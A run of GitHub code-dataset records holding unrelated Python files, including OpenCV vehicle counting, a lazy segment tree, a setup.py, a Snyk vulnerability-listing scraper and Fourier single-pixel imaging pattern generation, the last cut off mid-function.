blur (reduce high definations)\r\n blur = cv2.GaussianBlur(gray,(3,3),5)\r\n\r\n # to apply to all the frames\r\n img_sub = algo.apply(blur)\r\n\r\n dilat = cv2.dilate(img_sub,np.ones((5,5)))\r\n\r\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE,(5,5))\r\n d2 = cv2.morphologyEx(dilat,cv2.MORPH_CLOSE, kernel)\r\n d2 = cv2.morphologyEx(d2,cv2.MORPH_CLOSE, kernel)\r\n\r\n counterShape , h = cv2.findContours(d2, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\r\n\r\n # to draw the acceptance line according to the road/ req region\r\n\r\n cv2.line(frame1,(50,line_pos),(1300, line_pos),(255,127,0),3)\r\n\r\n\r\n # to draw a rectangular box for objs\r\n for(i,c) in enumerate(counterShape):\r\n (x,y,w,h) = cv2.boundingRect(c) # extracting objects points\r\n\r\n # validation counter\r\n validation = (w >= 80 ) and (h>= 80)\r\n\r\n if(not validation):\r\n continue\r\n\r\n # drawing rectangle\r\n cv2.rectangle(frame1,(x,y),(x+w,y+h),(0,255,0,2))\r\n\r\n # to put a centre point\r\n center = center_point(x,y,w,h)\r\n count.append(center)\r\n cv2.circle(frame1,center,4,(0,0,255),-1)\r\n\r\n # for the count\r\n for(x,y) in count:\r\n if(y< line_pos+offset) and y>(line_pos-offset):\r\n\r\n vc+=1\r\n\r\n cv2.line(frame1,(50,line_pos),(1300, line_pos),(0,127,255),3)\r\n count.remove((x,y))\r\n # print(\"vehicles count:\"+ str(vc))\r\n\r\n\r\n cv2.putText(frame1,\"Vehicle In-Count:\"+str(vc),(20,50),cv2.FONT_HERSHEY_SIMPLEX,2,(0,0,255),5)\r\n\r\n cv2.imshow('video Original',frame1)\r\n\r\n if(cv2.waitKey(20) == 13):\r\n break\r\n\r\ncv2.destroyAllWindows()\r\ncap.release()","repo_name":"adarshbende12/Vehicles_count_ml_using_openCV","sub_path":"vehicle.py","file_name":"vehicle.py","file_ext":"py","file_size_in_byte":2425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25657414845","text":"import sys\n\nsys.setrecursionlimit(10 ** 7)\nrl = sys.stdin.readline\n\n\nclass LazySegmentTree:\n def __init__(self, init_value: list, segfunc, ide_ele=0, lazy_ide_ele=None):\n self.ide_ele = ide_ele\n self.lazy_ide_ele = lazy_ide_ele\n self.segfunc = segfunc\n n = len(init_value)\n self.N0 = 1 << (n - 1).bit_length()\n self.data = [self.ide_ele] * (2 * self.N0)\n self.lazy = [self.lazy_ide_ele] * (2 * self.N0)\n \n for i, x in enumerate(init_value):\n self.data[i + self.N0 - 1] = x\n for i in range(self.N0 - 2, -1, -1):\n self.data[i] = segfunc(self.data[2 * i + 1], self.data[2 * i + 2])\n \n def gindex(self, left, right):\n L = left + self.N0\n R = right + self.N0\n lm = (L // (L & -L)) >> 1\n rm = (R // (R & -R)) >> 1\n while L < R:\n if R <= rm:\n yield R\n if L <= lm:\n yield L\n L >>= 1\n R >>= 1\n while L:\n yield L\n L >>= 1\n \n def propagates(self, *ids):\n for i in reversed(ids):\n idx = i - 1\n v = self.lazy[idx]\n if v == self.lazy_ide_ele:\n continue\n ################################################################\n self.data[2 * idx + 1] = v\n self.data[2 * idx + 2] = v\n self.lazy[2 * idx + 1] = v\n self.lazy[2 * idx + 2] = v\n ################################################################\n self.lazy[idx] = self.lazy_ide_ele\n \n def update(self, left, right, _x):\n ids = tuple(self.gindex(left, right))\n self.propagates(*ids)\n L = self.N0 + left\n R = self.N0 + right\n x = _x\n \n while L < R:\n if R & 1:\n R -= 1\n self.lazy[R - 1] = x\n self.data[R - 1] = x\n if L & 1:\n self.lazy[L - 1] = x\n self.data[L - 1] = x\n L += 1\n L >>= 1\n R >>= 1\n ################################################################\n \n ################################################################\n for i in ids:\n idx = i - 1\n self.data[idx] = self.segfunc(self.data[2 * idx + 1], self.data[2 * idx + 2])\n \n def query(self, left, right):\n self.propagates(*self.gindex(left, right))\n L = left + self.N0\n R = right + self.N0\n res = self.ide_ele\n ################################################################\n \n while L < R:\n if L & 1:\n res = self.segfunc(res, self.data[L - 1])\n L += 1\n if R & 1:\n R -= 1\n res = self.segfunc(res, self.data[R - 1])\n L >>= 1\n R >>= 1\n \n ################################################################\n return res\n\n\ndef solve():\n N, M = map(int, rl().split())\n \n def segfunc(_, b):\n return b\n \n lazy_seg_tree = LazySegmentTree([0] * N, segfunc)\n \n for _ in range(M):\n T, L, R = map(int, rl().split())\n L -= 1\n lazy_seg_tree.update(L, R, T)\n ans = sum(lazy_seg_tree.query(i, i + 1) for i in range(N))\n print(ans)\n\n\nif __name__ == '__main__':\n solve()\n","repo_name":"yuly3/atcoder","sub_path":"other/nikkei2019-final/D.py","file_name":"D.py","file_ext":"py","file_size_in_byte":3413,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"41455451280","text":"from setuptools import setup, find_packages\n\nwith open(\"README.md\", \"r\") as fh:\n README = fh.read()\n\nsetup(\n name='erroneousdetector',\n version='0.1.0',\n long_description=README,\n long_description_content_type=\"text/markdown\",\n description='Detecting and correcting erroneous data',\n author='resonanz.io',\n author_email='info@resonanz.io',\n url=\n 'https://gitlab.com/resonanz/private/projects/ncg/erroneous-data-detector/',\n packages=find_packages(include=[\n 'erroneousdetector', 'erroneousdetector.*', 'erroneousdetector.main.*',\n 'erroneousdetector.main.*.*'\n ],\n exclude=['config', 'config.*', 'data', 'data.*']),\n install_requires=[\n 'arch==4.15', \n 'BeautifulSoup4==4.9.1', \n 'Cython==0.29.14',\n 'dask[complete]==2.24.0', \n 'dateparser==0.7.6', \n 'importlib_resources==3.0.0',\n 'jsonformatter==0.2.3',\n 'numba==0.51.0', \n 'numpy==1.19.1', \n 'pandas==0.25.3', \n 'plotly==4.9.0', \n 'pmdarima==1.7.0',\n 'python-dateutil==2.8.1', \n 'python-dotenv==0.14.0', \n 'pytest-shutil==1.7.0',\n 'PyYAML==5.3.1', \n 'scipy==1.5.2', \n 'scikit-learn==0.23.2',\n 'statsmodels==0.11.1', \n 'streamlit==0.65.2', \n 'tqdm==4.48.2', \n 'xmltodict==0.12.0',\n ],\n entry_points={\n 'console_scripts': ['erroneous-detector=erroneousdetector.__main__:main']\n },\n package_data={'erroneousdetector.resource': ['*.yml']},\n python_requires='>=3.6, <3.7',\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n)\n","repo_name":"rajs1006/erroneous-data-detector","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13419816605","text":"from parallelGameOfLife import ParalellGameOfLife\nfrom secuentialGameOfLife import SecuentialGameOfLife\nimport time\nfrom numba import set_num_threads\nfrom timeit import default_timer as timer\n\n\nif __name__ == '__main__':\n \n num_threads = input(f'Enter max number of cores to use: ')\n\n set_num_threads(int(num_threads)) \n \n # Parámetros del Tablero:\n \n #Tamaño de la ventana del tablero \n width = 800\n height = 800\n \n #Número de celdas en el eje X\n nxC = 100\n #Número de celdas en el eje Y\n nyC = 100\n\n epochs = 20\n \n #Empezamos el juego Paralelo\n juego = SecuentialGameOfLife()\n start = timer()\n juego.start(width=width, height=height, nxC=nxC, nyC=nyC, epochs=epochs)\n end = timer()\n print(\"Tiempo Secuencial: [{0}]\".format(end-start))\n \n #Empezamos el juego Paralelo\n juego = ParalellGameOfLife()\n start = timer()\n juego.start(width=width, height=height, nxC=nxC, nyC=nyC, epochs=epochs)\n end = timer()\n print(\"Tiempo Paralelo: [{0}]\".format(end-start))\n \n","repo_name":"matbmoser/GameOfLife","sub_path":"OLD/GameOfLife.py","file_name":"GameOfLife.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"10447412341","text":"import re\nfrom datetime import datetime as dt\n\n\ndef foo(match_obj):\n if match_obj.group() is not None:\n x = dt.strptime(match_obj.group(), '%Y%m%d')\n return x.strftime('%d-%b-%Y').upper()\n\n\nwith open('data.sql', 'r+') as file:\n filedata = file.read()\n filedata = re.sub(r'\\d{8}', foo, filedata)\n file.write(filedata)\n","repo_name":"mattiagatti/BikeStores","sub_path":"format.py","file_name":"format.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15029042000","text":"import pytest\nimport csv\nfrom bs4 import BeautifulSoup\nfrom urllib.error import URLError, HTTPError\nfrom urllib.request import Request, urlopen\nfrom ..src.vulns import Vuln\n\nclass GetVulns:\n def __init__(self, package_name: str):\n self._package_name = package_name\n\n # Get the vulnerabilities and return the array\n def get_vulns(self):\n #Inizialize variables\n tmp_vulns_file = \"../logs/tmp_vulns.csv\"\n vulnerabilities = []\n tot_vulns = 0\n github_links = []\n # Loop among pages\n page = 0\n while(True):\n page += 1\n vulns_list_url = \"https://snyk.io/vuln/page/\" + str(page) + \"?type=pip\"\n try:\n req = Request(vulns_list_url, headers={'User-Agent': 'Mozilla/5.0'})\n soup = BeautifulSoup(urlopen(req).read(), features=\"html.parser\")\n except (URLError, HTTPError, ConnectionResetError): break\n else:\n try:\n # Get the list of vulnerabilities, if it exists\n table = soup.findAll(\"tbody\")[0]\n except Error: continue\n else:\n for vuln_row in table.findAll(\"tr\"):\n try:\n # For each vulnerability, try to gather its name, the severity, the URL,\n # the related package name and the affected version from the row information\n severity = vuln_row.findAll(\"span\")[0].getText().strip()\n name = vuln_row.findAll(\"strong\")[0].getText().strip()\n vuln_url = \"https://snyk.io\" + vuln_row.findAll(\"a\")[0][\"href\"].strip()\n if \"/vuln/SNYK\" not in vuln_url: vuln_url = \"\"\n package_link = vuln_row.findAll(\"a\")[1]\n if \"/vuln/pip:\" not in package_link[\"href\"]: package = \"\"\n else: package = package_link.getText().strip()\n versions = vuln_row.findAll(\"span\", {\"class\": \"semver\"})[0].getText().strip()\n\n if package == self._package_name:\n tot_vulns += 1\n # If the URL is not empty, retrieve all the reference URL related to the vulnerability\n if vuln_url != \"\":\n vuln_info = Vuln(vuln_url).get_snyk_vuln_info()\n # If 'GitHub Commit' or 'GitHub PR' information has been found\n if vuln_info != \"\" and (vuln_info[2] != \"\" or vuln_info[6] != \"\"):\n commit_url = vuln_info[2]\n pr_url = vuln_info[6]\n if commit_url != \"\" and commit_url not in github_links:\n # Extract the hash out of the commit URL\n commit_hash = commit_url.split(\"/\")[-1]\n hashtag_index = commit_hash.find(\"#\")\n if hashtag_index != -1: commit_hash = commit_hash[:hashtag_index]\n question_index = commit_hash.find(\"?\")\n if question_index != -1: commit_hash = commit_hash[:question_index]\n # If the commit hash is valid insert it into the list of vulnerabilities\n if commit_hash != \"\":\n github_links.append(commit_url)\n vulnerabilities.append([severity, commit_hash])\n elif pr_url != \"\" and pr_url not in github_links:\n # Extract the the commit URL\n if \"commit\" in pr_url: commit_url = pr_url\n elif \"pull\" in pr_url: \n pr_url = pr_url.replace(\"/files\", \"\")\n commit_url = Vuln(pr_url).get_commit_link_from_pr_link()\n else: commit_url = \"\"\n if commit_url != \"\":\n # Extract the hash out of the commit URL\n if \"https://\" not in commit_url: commit_url = \"https://github.com\" + commit_url\n commit_hash = commit_url.split(\"/\")[-1]\n hashtag_index = commit_hash.find(\"#\")\n if hashtag_index != -1: commit_hash = commit_hash[:hashtag_index]\n question_index = commit_hash.find(\"?\")\n if question_index != -1: commit_hash = commit_hash[:question_index]\n # If the commit hash is valid insert it into the list of vulnerabilities\n if commit_hash != \"\":\n github_links.append(commit_url)\n vulnerabilities.append([severity, commit_hash])\n except KeyError: continue\n\n # Print tmp file of vulnerabilities\n with open(tmp_vulns_file, mode='w') as vulns_csv_file:\n vulns_writer = csv.writer(vulns_csv_file, delimiter=';')\n vulns_writer.writerow(['Severity', 'Commit hash'])\n for vuln in vulnerabilities: vulns_writer.writerow(vulnerabilities[vuln])\n\n return [tot_vulns, len(vulnerabilities)]","repo_name":"simonepirocca/py2src","sub_path":"src/get_vulns_2.py","file_name":"get_vulns_2.py","file_ext":"py","file_size_in_byte":5977,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"73824736467","text":"# System modules\nimport sys\nimport time\n\n# Numeric operations\nimport numpy as np\nimport math\nimport scipy.fft as fft\nfrom scipy import signal\nimport imageio\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\n\n# Image processing\nfrom PIL import Image\n\nimport cv2 as cv\n\nfrom skimage.morphology import square\nfrom skimage import io\nfrom skimage import color\nfrom skimage import img_as_bool\nfrom skimage.transform import resize\nfrom skimage.filters import threshold_otsu, threshold_local\nfrom skimage.filters.rank import threshold\nfrom skimage.util import img_as_ubyte\n\nfrom sklearn.metrics import mean_squared_error\n\nimport auxiliary_functions as aux\n\n# TODO\ndef learned_thresholding():\n\tpass\n\n# TODO\ndef dither_array(array):\n\tpass\n\t\n# simple 3-mode thresholding function\ndef threshold_array(array, mode):\n\t# no threshold\n\tif mode == 0:\t\n\t\tthresh_array = array\n\t\t\n\t# skimage local threshold\n\telif mode == 1:\n\t\tthresh_array = threshold_local(array, 7)\n\t\tthresh_array = array > thresh_array\n\t\n\t# skimage global threshold\n\telif mode == 2:\n\t\t# possibly losing precision because of converting the array to uint8\n\t\tthresh_array = threshold(img_as_ubyte(array), square(3))\n\t\t\n\t# numpy array global threshold\n\telif mode == 3:\n\t\tthresh_array = array\n\t\tthresh = np.amax(thresh_array) / 2\n\t\n\t\tthresh_array[array=thresh] = 1\n\t\t\n\telif mode == 4:\n\t\tthresh_array = dither_array(array)\n\t\t\n\treturn thresh_array\n\t\n# generate patterns from a list of discrete spectral/frequency values\ndef generate_patterns_adaptive(resolution, scaling, indices_array):\n\tbasis_list = []\n\t\n\tphase_values = [0, 2*np.pi/3, 4*np.pi/3]\n\t\n\tN = resolution\n\tM = 1/scaling\n\t\n\trng = int(N/M * 0.5)\n\t\n\tA = 0.5\n\tB = 0.5\n\t\n\tfor f_x in range(-rng, rng, 1):\n\t\tfor f_y in range(-rng, rng, 1):\n\t\t\tphase_mask_list = []\n\t\t\tfor phase in phase_values:\n\t\t\t\tfourier_basis = np.zeros((N, N))\n\t\t\t\t# if the current frequency (fx, fy) is to be generated, iterate over pixels. Otherwise the pattern stays as np.zeros\n\t\t\t\t# temporary workaround for indexing - adding the full range to get from <-32, 32> to <0, 64>\n\t\t\t\tif indices_array[f_x+rng, f_y+rng] == 1:\n\t\t\t\t\tfor i in range(int(N)):\n\t\t\t\t\t\tfor j in range(int(N)):\n\t\t\t\t\t\t\tfourier_basis[i, j] = A + B * np.cos(2*np.pi * f_x/N * i + 2*np.pi * f_y/N * j + phase)\n\t\t\t\t\t\n\t\t\t\t# basic thresholding\n\t\t\t\t#fourier_basis = threshold_array(fourier_basis, threshold_flag)\n\t\t\t\t\t\n\t\t\t\tphase_mask_list.append(fourier_basis)\n\t\t\t\t\t\n\t\t\t# DEBUG\n\t\t\t#show_images(phase_mask_list)\n\t\t\tbasis_list.append(phase_mask_list)\n\t\t\t\t\n\t\t\t# DEBUG\n\t\t\t#print(\"F_x:\" + str(f_x) + \"\\n\" + \"F_y:\" + str(f_y) + \"\\n\")\n\n\treturn basis_list\n\n# generate patterns for Fourier basis scan\n# A and B are coefficients for pattern generation in cos function\ndef generate_patterns(resolution, scaling, A, B, threshold_flag, mode, patterns_directory):\n\tstart = time.time()\n\t\n\tbasis_list = []\n\t\n\t# phase shifts for the three-frame method\n\tphase_values = [0, 2*np.pi/3, 4*np.pi/3]\n\t\n\t# 4-image method, not currently supported\n\t#phase_values = [0, 0.5*np.pi, 1*np.pi, 1.5*np.pi]\n\t\n\t# currently only NxN\n\tN = resolution\n\t\n\t# compressive sensing parameter - how much of the signal will be used\n\t# changed from int to no type change! - 09.06.21\n\tM = 1/scaling\n\t\n\t# DEBUG\n\tprint(\"Dimensions: \" + str(resolution) + \" x \" + str(scaling))\n\n\t###\n\t\n\t# TODO - add selected pattern generation -> only generate discrete points of the Fourier plane, chosen by a function\n\t\n\t###\n\t\n\t# clear any previously generated patterns\n\t#aux.clear_directory(patterns_directory)\n\t\n\t###\n\t\n\t# TODO - generate patterns as inverse FFT - create Fourier plane and return to spatial domain!\n\t\n\t#if mode is \"inverse\":\n\t\t\n\t\n\t###\n\t\n\t# TODO - optimize nested for loops with numpy magical methods, LUT for cos calculation or similar\n\t\n\t###\n\t\n\t# DEBUG\n\t# test mode for checking and validating other patterns/sampling strategies\n\tif mode is \"test\":\n\t\trng = int(N/M * 0.5)\n\t\tfor f_x in range(-rng, rng, 1):\n\t\t\tfor f_y in range(-rng, rng, 1):\n\t\t\t\tphase_mask_list = []\n\t\t\t\tfor phase in phase_values:\n\t\t\t\t\tfourier_basis = np.zeros((N, N))\n\t\t\t\t\tfor i in range(int(N)):\n\t\t\t\t\t\tfor j in range(int(N)):\n\t\t\t\t\t\t\tfourier_basis[i, j] = A + B * np.cos(2*np.pi * f_x/N * i + 2*np.pi * f_y/N * j + phase)\n\t\t\t\t\t\n\t\t\t\t\t# basic thresholding\n\t\t\t\t\tfourier_basis = threshold_array(fourier_basis, threshold_flag)\n\t\t\t\t\t\n\t\t\t\t\tphase_mask_list.append(fourier_basis)\n\t\t\t\t\t\n\t\t\t\t# debug\n\t\t\t\t#show_images(phase_mask_list)\n\t\t\t\tbasis_list.append(phase_mask_list)\n\t\t\t\t\n\t\t\t\t# debug\n\t\t\t\tprint(\"F_x:\" + str(f_x) + \"\\n\" + \"F_y:\" + str(f_y) + \"\\n\")\n\t\n\t# TODO\n\t# generate patterns through inverse Fourier transform of shifted delta functions\n\t# also serves as the generator for adaptive basis scan (ABS) methods\n\telif mode is \"spectral\":\n\t\trng = int(N/M * 0.5)\n\t\tfor f_x in range(-rng, rng, 1):\n\t\t\tfor f_y in range(-rng, rng, 1):\n\t\t\t\tphase_mask_list = []\n\t\t\t\tfor phase in phase_values:\n\t\t\t\t\t# change iteration or values, needs to go over the complex plane\n\t\t\t\t\tfourier_basis = np.zeros((N, N))\n\t\t\t\t\tfourier_basis[f_x, f_y] = 1.+0.j\n\t\t\t\t\tfourier_basis = fft.ifft2(fourier_basis)\n\t\n\t\t\t\tfourier_basis = threshold_array(fourier_basis, threshold_flag)\n\t\t\t\t\t\n\t\t\t\tphase_mask_list.append(fourier_basis)\n\t\n\t\t\t\tbasis_list.append(phase_mask_list)\n\t\n\t\t\t\tprint(\"F_x:\" + str(f_x) + \"\\n\" + \"F_y:\" + str(f_y) + \"\\n\")\n\t\t\n\t# lowpass mode - CS is achieved by generating and using only low-valued frequencies\n\telif mode is \"lowpass\":\n\t\t# indexing from 1 to prevent uniform fields for arguments 0\n\t\tfor f_x in range(1, int(N/M)+1, 1):\n\t\t\tfor f_y in range(1, int(N/M)+1, 1):\n\t\t\t\tphase_mask_list = []\n\t\t\t\tfor phase in phase_values:\n\t\t\t\t\tfourier_basis = np.zeros((N, N))\n\t\t\t\t\tfor i in range(int(N)):\n\t\t\t\t\t\tfor j in range(int(N)):\n\t\t\t\t\t\t\tfourier_basis[i, j] = A + B * np.cos(2*np.pi * f_x/N * i + 2*np.pi * f_y/N * j + phase)\n\t\t\t\t\t\n\t\t\t\t\t# TODO - add threshold method selection in menu\n\t\t\t\t\t##\n\t\t\t\t\t\n\t\t\t\t\t# TODO - add CNN/DL method of threshold\n\t\t\t\t\t##\n\t\t\t\t\t\n\t\t\t\t\t# TODO - add dithering\n\t\t\t\t\t##\n\t\t\t\t\t\n\t\t\t\t\t# basic thresholding\n\t\t\t\t\tfourier_basis = threshold_array(fourier_basis, threshold_flag)\n\t\t\t\t\t\n\t\t\t\t\tphase_mask_list.append(fourier_basis)\n\t\t\t\t\t\n\t\t\t\t# debug\n\t\t\t\t#show_images(phase_mask_list)\n\t\t\t\tbasis_list.append(phase_mask_list)\n\t\t\t\t\n\t\t\t\t# debug\n\t\t\t\tprint(\"F_x:\" + str(f_x) + \"\\n\" + \"F_y:\" + str(f_y) + \"\\n\")\n\n\t# other modes that use other parts of the Fourier space\n\telif mode is \"midpass_alt\":\n\t\tfor f_x in range(0, N, M):\n\t\t\tfor f_y in range(0, N, M):\n\t\t\t\tphase_mask_list = []\n\t\t\t\tfor phase in phase_values:\n\t\t\t\t\tfourier_basis = np.zeros((N, N))\n\t\t\t\t\tfor i in range(int(N)):\n\t\t\t\t\t\tfor j in range(int(N)):\n\t\t\t\t\t\t\tfourier_basis[i, j] = A + B * np.cos(2*np.pi * f_x/N * i + 2*np.pi * f_y/N * j + phase)\n\t\t\t\t\t\n\t\t\t\t\t# TODO - add threshold method selection in menu\n\t\t\t\t\t##\n\t\t\t\t\t\n\t\t\t\t\t# TODO - add CNN/DL method of threshold\n\t\t\t\t\t##\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t# TODO - add dithering\n\t\t\t\t\t##\n\t\t\t\t\t\n\t\t\t\t\t# basic thresholding\n\t\t\t\t\t\n\t\t\t\t\tfourier_basis = threshold_array(fourier_basis, threshold_flag)\n\t\t\t\t\t\n\t\t\t\t\tphase_mask_list.append(fourier_basis)\n\t\t\t\t# debug\n\t\t\t\t#show_images(phase_mask_list)\n\t\t\t\tbasis_list.append(phase_mask_list)\n\t\t\t\t# debug\n\t\t\t\tprint(\"F_x:\" + str(f_x) + \"\\n\" + \"F_y:\" + str(f_y) + \"\\n\")\n\n\telif mode is \"highpass\":\n\t\t####################################################################\n\t\t# Temporary local parameters for highpass compressive sensing TODO!#\n\t\t####################################################################\n\t\tm_x = 4\n\t\tm_y = 4\n\n\t\tfor f_x in range(m_x, int(N/M), 1):\n\t\t\tfor f_y in range(m_y, int(N/M), 1):\n\t\t\t\tphase_mask_list = []\n\t\t\t\tfor phase in phase_values:\n\t\t\t\t\tfourier_basis = np.zeros((N, N))\n\t\t\t\t\tfor i in range(int(N)):\n\t\t\t\t\t\tfor j in range(int(N)):\n\t\t\t\t\t\t\tfourier_basis[i, j] = A + B * np.cos(2*np.pi * f_x/N * i + 2*np.pi * f_y/N * j + phase)\n\t\t\t\t\t\n\t\t\t\t\t# TODO - add threshold method selection in menu\n\t\t\t\t\t##\n\t\t\t\t\t\n\t\t\t\t\t# TODO - add CNN/DL method of threshold\n\t\t\t\t\t##\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t# TODO - add dithering\n\t\t\t\t\t##\n\t\t\t\t\t\n\t\t\t\t\t# basic thresholding\n\t\t\t\t\t\n\t\t\t\t\tfourier_basis = threshold_array(fourier_basis, threshold_flag)\n\t\t\t\t\t\n\t\t\t\t\tphase_mask_list.append(fourier_basis)\n\t\t\t\t# debug\n\t\t\t\t#show_images(phase_mask_list)\n\t\t\t\tbasis_list.append(phase_mask_list)\n\t\t\t\t# debug\n\t\t\t\tprint(\"F_x:\" + str(f_x) + \"\\n\" + \"F_y:\" + str(f_y) + \"\\n\")\n\t\t\t\t\n\tend = time.time()\n\n\tprint(\"\\nFourier patterns generation time: \" + str(float(end-start)) + \" s\\n\")\n\t#print(\"\\nSaving to pattern directory...\")\n\n\t#aux.save_list_of_lists(basis_list, patterns_directory, 1)\n\n\treturn basis_list\n\ndef mask_image(image, basis_list):\n\tstart = time.time()\n\t\n\tmasked_image_list = []\n\t\n\tfor phase_mask_list in basis_list:\n\t\tmasked_image_sub = []\n\t\tfor phase_mask in phase_mask_list:\n\t\t\tmasked_image_sub.append(image * phase_mask)\n\t\t\t\n\t\tmasked_image_list.append(masked_image_sub)\n\t\t\n\tend = time.time()\n\t\n\tprint(\"\\nMasking time: \" + str(float(end-start)) + \"s\\n\")\n\t\n\treturn masked_image_list\n\ndef calculate_fourier_coeffs(masked_image_list):\n\tstart = time.time()\n\n\tfourier_coeff_list = []\n\n\tfor masked_image_sub in masked_image_list:\n\t\t# calculate fourier coefficients (3-image method)\n\t\tfourier_coeff_list.append((2*masked_image_sub[0].sum() - \n\t\t\t\t\t\t\t\t\t masked_image_sub[1].sum() - \n\t\t\t\t\t\t\t\t\t masked_image_sub[2].sum()) + \n\t\t\t\t\t\t\t\t\t np.sqrt(3)*1j*(masked_image_sub[1].sum() - \n\t\t\t\t\t\t\t\t\t masked_image_sub[2].sum()))\n\t\t\t\n\tend = time.time()\n\n\tprint(\"\\nFourier coefficients calculation time: \" + str(float(end-start)) + \"s\\n\")\n\n\treturn fourier_coeff_list\n\t\ndef reconstruct_image(resolution, scaling, fourier_coeff_list, mode, norm_mode, meas_file):\n\tstart = time.time()\n\t\n\tN = resolution\n\tM = int(1/scaling)\n\t\n\tlist_raw = fourier_coeff_list\n\tlist_norm = []\n\t\n\t# normalize list of measurements\n\t# https://stackoverflow.com/questions/26785354/normalizing-a-list-of-numbers-in-python\n\t# for sum\n\tif norm_mode is 1:\n\t\t#list_norm = [float(i)/sum(list_raw) for i in list_raw]\n\t\t\n\t\t# debug\n\t\tlist_norm = list_raw\n\t\n\t# for maximum\n\telif norm_mode is 2:\n\t\t#list_norm = [float(i)/max(list_raw) for i in list_raw]\n\t\t\n\t\t# debug\n\t\tlist_norm = list_raw\n\t\t\n\t# no normalization\n\telif norm_mode is 0:\n\t\tlist_norm = list_raw\n\t\n\tfourier_spectrum = np.array(list_norm)\n\t\n\tfourier_spectrum_2D = np.zeros((N,N))\n\tfourier_spectrum_2D_padded = np.zeros((N,N))\n\treconstructed_image = np.zeros((N,N))\n\t\n\tif mode is \"test\":\n\t\t# reshape the measurement vector to 2D\n\t\tfourier_spectrum_2D = np.reshape(fourier_spectrum, (int(N/M), int(N/M)))\n\t\t\n\t\t#fourier_spectrum_2D_padded = np.zeros((N,N),dtype=complex)\n\t\t\n\t\t# since in the test mode the spectrum is centered, padding is applied to each side\n\t\tfourier_spectrum_2D_padded = np.pad(fourier_spectrum_2D, int((N - N/M)/2), mode='constant')\n\t\t\n\t\t#DEBUG\n\t\taux.save_image_complex(np.real(fourier_spectrum_2D), \"./GALLERY/fourier_unpadded\", \"\")\n\t\taux.save_image_complex(np.real(fourier_spectrum_2D_padded), \"./GALLERY/fourier_padded\", \"\")\n\t\n\telif mode is \"lowpass\":\n\t\t# TODO - recheck correctness of np.reshape vs real fourier spectrum\n\t\t\n\t\tfourier_spectrum_2D = np.reshape(fourier_spectrum, (int(N/M), int(N/M)))\n\t\t\n\t\tfourier_spectrum_2D_padded = np.zeros((N,N),dtype=complex)\n\t\tfourier_spectrum_2D_padded[0:fourier_spectrum_2D.shape[0], 0:fourier_spectrum_2D.shape[1]] = fourier_spectrum_2D\n\t\t\n\t\t#DEBUG\n\t\taux.save_image_complex(np.real(fourier_spectrum_2D), \"./GALLERY/fourier_unpadded\", \"\")\n\t\taux.save_image_complex(np.real(fourier_spectrum_2D_padded), \"./GALLERY/fourier_padded\", \"\")\n\t\n\t# reconstruct from data saved to a file\n\t# TODO - change padding\n\telif mode is \"from_file\":\n\t\t# load measurements from save directory\n\t\tfourier_coeff_list = aux.load_measurements(meas_file)\n\t\t\n\t\t# check if there is enough measurement points for reconstruction/the vector length has a root\n\t\t# if not - change the length to fit, cutting out or adding some data\n\t\twhile aux.is_square(len(fourier_coeff_list)) is False:\n\t\t\t# remove last element of the list, loop will exit if it has a real root\n\t\t\tfourier_coeff_list.pop()\n\t\t\t\n\t\tfourier_spectrum_2D = np.reshape(fourier_spectrum, ((int(N/M)), (int(N/M))))\n\t\t\n\t\t\n\t\t# changed to equal padding on all sides, for test patterns\n\t\tfourier_spectrum_2D_padded = np.pad(fourier_spectrum_2D, int(N/2), mode='constant')\n\t\t#fourier_spectrum_2D_padded = np.zeros((N, N), dtype=complex)\n\t\t#fourier_spectrum_2D_padded[0:fourier_spectrum_2D.shape[0], 0:fourier_spectrum_2D.shape[1]] = fourier_spectrum_2D\n\t\t\n\t\taux.save_image_complex(np.real(fourier_spectrum_2D), \"./GALLERY/fourier_unpadded\", \"\")\n\t\taux.save_image_complex(np.real(fourier_spectrum_2D_padded), \"./GALLERY/fourier_padded\", \"\")\n\t\n\t# 'Real' mode based on measured intensity vector\n\telif mode is \"real\":\n\t\t# check image sizes, prune unneeded/false measurements in main\n\t\t#N_pom = len(fourier_coeff_list)\n\t\t\n\t\t# check if there is enough measurement points for reconstruction/the vector length has a root\n\t\t# if not - change the length to fit, cutting out or adding some data\n\t\twhile aux.is_square(len(fourier_coeff_list)) is False:\n\t\t\t# remove last element of the list, loop will exit if it has a real root\n\t\t\tfourier_coeff_list.pop()\n\t\t\n\t\t# ERROR!! Check below\n\t\t# returns ValueError for complex? list \"ValueError: Non-string object detected for the array ordering. Please pass in 'C', 'F', 'A', or 'K' instead\"\n\t\tfourier_spectrum_2D = np.reshape(fourier_spectrum, ((int(N/M)), (int(N/M))))\n\t\t\n\t\t#fourier_spectrum_2D_padded = np.zeros((N, N), dtype=complex)\n\t\t\n\t\t# changed to equal padding on all sides, for test patterns\n\t\tfourier_spectrum_2D_padded = np.pad(fourier_spectrum_2D, int((N - N/M)/2), mode='constant')\n\t\t#fourier_spectrum_2D_padded[0:fourier_spectrum_2D.shape[0], 0:fourier_spectrum_2D.shape[1]] = fourier_spectrum_2D\n\t\t\n\t\taux.save_image_complex(np.real(fourier_spectrum_2D), \"./GALLERY/fourier_unpadded\", \"\")\n\t\taux.save_image_complex(np.real(fourier_spectrum_2D_padded), \"./GALLERY/fourier_padded\", \"\")\n\t\t\n\telif mode is \"midpass_alt\":\n\t\tfourier_spectrum_2D = 